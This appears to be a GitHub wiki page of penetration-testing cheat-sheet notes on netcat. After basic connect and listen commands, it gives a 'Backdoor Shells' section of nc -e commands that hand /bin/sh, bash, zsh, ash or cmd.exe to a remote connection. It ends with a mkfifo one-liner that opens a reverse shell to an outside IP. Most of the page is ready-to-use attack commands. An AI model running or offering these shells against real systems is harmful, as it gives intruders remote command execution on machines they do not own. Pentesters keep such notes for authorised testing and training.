Skip to content

Netcat Tips

TheGetch edited this page May 14, 2021 · 2 revisions

Netcat Tips

Netcat Tips

Fundamentals:

Connect to a netcat client:

  • rlwrap nc [IP Address] [port]

Listen on a TCP port:

  • rlwrap nc -lvp [Localport]

Listen on a UDP port:

  • rlwrap nc -lvup [port]

More info on rlwrap: https://linux.die.net/man/1/rlwrap

Backdoor Shells:

Linux:

  • rlwrap nc [Your IP Address] -e /bin/sh
  • rlwrap nc [Your IP Address] -e /bin/bash
  • rlwrap nc [Your IP Address] -e /bin/zsh
  • rlwrap nc [Your IP Address] -e /bin/ash

Windows:

  • rlwrap nc -lv [localport] -e cmd.exe

Linux netcat reverse shell:

  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f

_Sidebar

1. Recon

Ping Sweep

CIDR to IP

2. Enumeration

Services

05. HTTP (80,443,8080,8443,etc.)

3. Exploitation

4. Post Exploiation

5. High Value Information

Hashes

6. Reporting

7. Random Notes/Useful Tidbits

Clone this wiki locally